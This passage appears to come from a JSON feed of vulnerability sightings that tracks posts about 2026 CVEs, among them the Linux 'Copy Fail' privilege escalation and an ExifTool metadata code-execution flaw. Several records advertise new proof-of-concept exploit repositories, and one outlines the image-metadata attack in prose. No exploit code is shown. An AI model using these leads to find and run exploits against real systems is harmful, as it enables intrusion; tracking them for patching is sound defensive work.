\u0445\u0430\u043a\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0432\u0430\u0448\u0435\u043c \u0441\u0430\u0439\u0442\u0435 WordPress\n\n\n\nhttps://kripta.biz/posts/06678449-1152-4A41-AB04-E2650AE317BC", "creation_timestamp": "2026-08-01T09:12:36.396391Z"}, {"uuid": "aa00f232-8611-4cdf-8899-e8ad661fdc0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mmfcjcclo722", "content": "How an image could compromise your Mac: understanding an ExifTool vulnerability (CVE-2026-3102) https://securelist.com/exiftool-compromise-mac/119866/", "creation_timestamp": "2026-05-21T20:54:41.076227Z"}, {"uuid": "0e4b1168-5b1b-4ac3-97e3-4511bc12f849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://infosec.exchange/users/obivan/statuses/116614553377376732", "content": "How an image could compromise your Mac: understanding an ExifTool vulnerability (CVE-2026-3102) https://securelist.com/exiftool-compromise-mac/119866/", "creation_timestamp": "2026-05-21T20:54:51.898607Z"}, {"uuid": "973179c5-2b3d-4d01-a349-93d431b10d34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/85294", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-alpine\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 4n4s4zi\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-21 22:34:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nMore portable POC of copyfail LPE (CVE-2026-31431) that works on Alpine Linux\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-21T23:00:06.000000Z"}, {"uuid": "7edfe641-96e9-48c2-a7f3-bbbf52488b0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/85278", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Copy-Fail---Minified-LPE-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a JimmyPughtron\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-21 19:47:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-21T20:00:04.000000Z"}, {"uuid": "ed4b6873-12ea-4afa-a277-7011cb1312c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "Telegram/XX0FT8SeQnOxPoOROzP-MKYV-Ym-pSh_FQY0_GUnbaT_fw", "content": "", "creation_timestamp": "2026-05-19T17:13:29.000000Z"}, {"uuid": "c44d4ac0-d05f-4976-bd2f-e2b72ee935eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/85318", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-3102\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HORKimhab\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-22 02:25:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-3102\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-22T03:00:04.000000Z"}, {"uuid": "f644771a-1bf0-412c-9344-a29d135f3c96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/85351", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-safe-check\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a waltrone1\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-22 06:56:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA safe read-only Linux check for CVE-2026-31431 / Copy Fail without running exploit code.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-22T07:00:04.000000Z"}, {"uuid": "d8e33e9a-2666-480a-a6dc-3cb6fbc6a561", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pixelhead.bsky.social/post/3mmgnz5q6bs2a", "content": "Habe auf meinem Linux Rechner nachgeschaut wie das mit dem Bugfix f\u00fcr Copy Fail bzw. CVE-2026-31431 aussieht. In meinem Kenrel 5.15.0-179.189 ist der Fix nun drin. \nAktualisierungsverwaltung -> aktivierten Kernel w\u00e4hlen -> Changelog Link \u00f6ffnen.\nTerminal:\napt changelog linux-image-$(uname -r)\n#Linux", "creation_timestamp": "2026-05-22T09:52:57.082460Z"}, {"uuid": "dae14085-11ff-45be-af05-faa4713bcb78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31419", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmgyqvvbua2x", "content": "\ud83d\udd17 CVE : CVE-2025-21999, CVE-2025-38024, CVE-2025-71238, CVE-2026-23191, CVE-2026-23243, CVE-2026-23401, CVE-2026-31419, CVE-2026-31532, CVE-2026-43284, CVE-2026-46300, CVE-2026-46333", "creation_timestamp": "2026-05-22T13:05:12.004953Z"}, {"uuid": "07e953ad-5b74-4771-91bd-174805bb1240", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31532", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmgyqvvbua2x", "content": "\ud83d\udd17 CVE : CVE-2025-21999, CVE-2025-38024, CVE-2025-71238, CVE-2026-23191, CVE-2026-23243, CVE-2026-23401, CVE-2026-31419, CVE-2026-31532, CVE-2026-43284, CVE-2026-46300, CVE-2026-46333", "creation_timestamp": "2026-05-22T13:05:12.135561Z"}, {"uuid": "6c9db16a-fc37-4043-a81b-fd659cec3514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31499", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmgyri3mmq2x", "content": "\ud83d\udd17 CVE : CVE-2026-31499, CVE-2026-43088, CVE-2026-43109, CVE-2026-43220, CVE-2026-43490, CVE-2026-46333", "creation_timestamp": "2026-05-22T13:05:29.991186Z"}, {"uuid": "a6196eeb-efc3-4244-b078-a193588b35a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://t.me/true_secator/8234", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-3102 \u0432 ExifTool, \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0432, \u043a\u0430\u043a \u043e\u0434\u043d\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 Mac.\n\nExifTool\u00a0- \u044d\u0442\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0430\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u0430 \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439, PDF, \u0430\u0443\u0434\u0438\u043e \u0438 \u0432\u0438\u0434\u0435\u043e. \u041e\u043d\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043a\u0430\u043a \u0432 \u0432\u0438\u0434\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438, \u0442\u0430\u043a \u0438 \u0432 \u0432\u0438\u0434\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0432 \u0434\u0440\u0443\u0433\u043e\u0435 \u041f\u041e.\n\nCVE-2026-3102 \u0432 ExifTool \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0430\u043c\u0438 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0433\u0440\u043e\u0437 (GReAT) \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043c\u0435\u0441\u044f\u0446\u0435.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b macOS \u0441 ExifTool 13.49 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439. \u0412 \u043e\u0441\u043d\u043e\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u0435\u0436\u0438\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0430 (\u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u044f) \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 ExifTool \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0435\u0433\u043e\u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 macOS.\n\n\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0432 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u043c\u0438, \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c\u0438 \u0432 \u043f\u043e\u043b\u0435 \u0434\u0430\u0442\u044b \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043f\u0440\u043e\u0432\u043e\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0444\u0430\u0439\u043b\u0430.\n\n\u041d\u0430\u0439\u0442\u0438 \u043d\u043e\u0432\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2021-22204, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432 \u041b\u041a \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u043c\u043d\u043e\u0433\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0443\u044e \u043e\u0447\u0438\u0441\u0442\u043a\u0443 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u043f\u0435\u0440\u0435\u0434 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e-\u043f\u0440\u0438\u0435\u043c\u043d\u0438\u043a\u00a0eval.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0435\u0434\u043d\u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0432\u0432\u043e\u0434\u0430 \u0432 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435 ExifTool \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0445 \u0443\u043f\u0443\u0449\u0435\u043d\u0438\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u041b\u041a \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438  CVE-2026-3102.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2026-3102 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0432\u0448\u0435\u0433\u043e ExifTool, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-05-22T14:00:08.000000Z"}, {"uuid": "20779b28-911d-4378-be01-d8536e61476c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/85440", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-python\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a wh1sky02\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-22 18:58:31\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPortable Python PoC for CVE-2026-31431 (Copy Fail)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-22T19:00:04.000000Z"}, {"uuid": "6cb8d1d5-4456-4387-8cfe-0f938e1aa5b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/almalinux.org/post/3mmhshatldt2c", "content": "\ud83d\udea8 Local privilege escalation via Copy Fail? Not on our watch. \n\nAlmaLinux 8, 9, and 10 patches are live, ahead of upstream. \n\nGo update your systems! https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail/?utm_medium=social&utm_source=bluesky", "creation_timestamp": "2026-05-22T20:45:06.762707Z"}, {"uuid": "c55138a1-3d2f-427d-bbca-5f7006791f60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mmhtyu7kvs27", "content": "\u7c73\u5f53\u5c40\u3001\u8106\u5f31\u60273\u4ef6\u306e\u60aa\u7528\u3092\u8b66\u544a - \u300cIvanti EPMM\u300d\u300cPAN-OS\u300d\u306f\u7dca\u6025\u5bfe\u5fdc\u3092\n\n\u7c73\u5f53\u5c40\u306f\u3001\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f3\u4ef6\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u6ce8\u610f\u3092\u547c\u3073\u304b\u3051\u3066\u3044\u308b\u3002\u7279\u306b2\u4ef6\u306b\u3064\u3044\u3066\u306f\u7dca\u6025\u6027\u304c\u9ad8\u304f\u3001\u7c73\u884c\u653f\u6a5f\u95a2\u3067\u306f\u767b\u9332\u304b\u30893\u65e5\u4ee5\u5185\u306b\u5bfe\u5fdc\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001\u73fe\u5730\u6642\u95932026\u5e745\u67081\u65e5\u304b\u30897\u65e5\u306b\u304b\u3051\u3066\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u3078\u8106\u5f31\u60273\u4ef6\u3092\u8ffd\u52a0\u3057\u305f\u3002\n\n\u300cLinux Kernel\u300d\u306b\u5224\u660e\u3057\u305f\u5225\u540d\u300cCopy Fail\u300d\u3068\u3082\u547c\u3070\u308c\u308b\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\u300cCVE-2026-31431\u300d\u304c\u767b\u9332\u3055\u308c\u305f\u3002\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u306b\u3088...", "creation_timestamp": "2026-05-22T21:12:50.408795Z"}, {"uuid": "7818bc27-34a8-47f5-8516-7f750968bf26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mmhtzyzr2k27", "content": "\u7c73\u5f53\u5c40\u3001\u8106\u5f31\u60273\u4ef6\u306e\u60aa\u7528\u3092\u8b66\u544a - \u300cIvanti EPMM\u300d\u300cPAN-OS\u300d\u306f\u7dca\u6025\u5bfe\u5fdc\u3092\n\n\u7c73\u5f53\u5c40\u306f\u3001\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f3\u4ef6\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u6ce8\u610f\u3092\u547c\u3073\u304b\u3051\u3066\u3044\u308b\u3002\u7279\u306b2\u4ef6\u306b\u3064\u3044\u3066\u306f\u7dca\u6025\u6027\u304c\u9ad8\u304f\u3001\u7c73\u884c\u653f\u6a5f\u95a2\u3067\u306f\u767b\u9332\u304b\u30893\u65e5\u4ee5\u5185\u306b\u5bfe\u5fdc\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u3002\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001\u73fe\u5730\u6642\u95932026\u5e745\u67081\u65e5\u304b\u30897\u65e5\u306b\u304b\u3051\u3066\u300c\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\uff08KEV\uff09\u300d\u3078\u8106\u5f31\u60273\u4ef6\u3092\u8ffd\u52a0\u3057\u305f\u3002\n\n\u300cLinux Kernel\u300d\u306b\u5224\u660e\u3057\u305f\u5225\u540d\u300cCopy Fail\u300d\u3068\u3082\u547c\u3070\u308c\u308b\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\u300cCVE-2026-31431\u300d\u304c\u767b\u9332\u3055\u308c\u305f\u3002\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u306b\u3088...", "creation_timestamp": "2026-05-22T21:13:28.546907Z"}, {"uuid": "0042094a-0a1f-482f-a574-8d7ac5fd7c92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://bsky.app/profile/insomnisec.bsky.social/post/3mmhvklxchw2i", "content": "\ud83d\udce1 DirtyDecrypt (CVE-2026-31635) and ssh-keysign-pwn (CVE-2026-46333): Sorting Out May's Linux LPE Pair", "creation_timestamp": "2026-05-22T21:40:37.568686Z"}, {"uuid": "f86f0ea6-608d-4317-9b61-f180a45ea31c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.com/post/3mmiccdd72k27", "content": "\ud83d\udc27 \u00bfC\u00f3mo funciona ' #CopyFail'? El #exploit de 732 bytes que otorga acceso #Root en Linux (CVE-2026-31431) (+MITIGACI\u00d3N) www.newstecnicas.com/2026/04/copy...", "creation_timestamp": "2026-05-23T01:28:42.222115Z"}, {"uuid": "2a6f46f1-2812-4065-a245-9babec461e44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mmifqkvtg52v", "content": "Top 3 CVE for last 7 days:\nCVE-2026-45584: 64 interactions\nCVE-2026-45250: 63 interactions\nCVE-2026-46333: 28 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-46333: 13 interactions\nCVE-2026-31431: 6 interactions\nCVE-2026-39821: 6 interactions\n", "creation_timestamp": "2026-05-23T02:31:25.638732Z"}, {"uuid": "1446afbc-c284-4b1e-9563-a97140784076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": 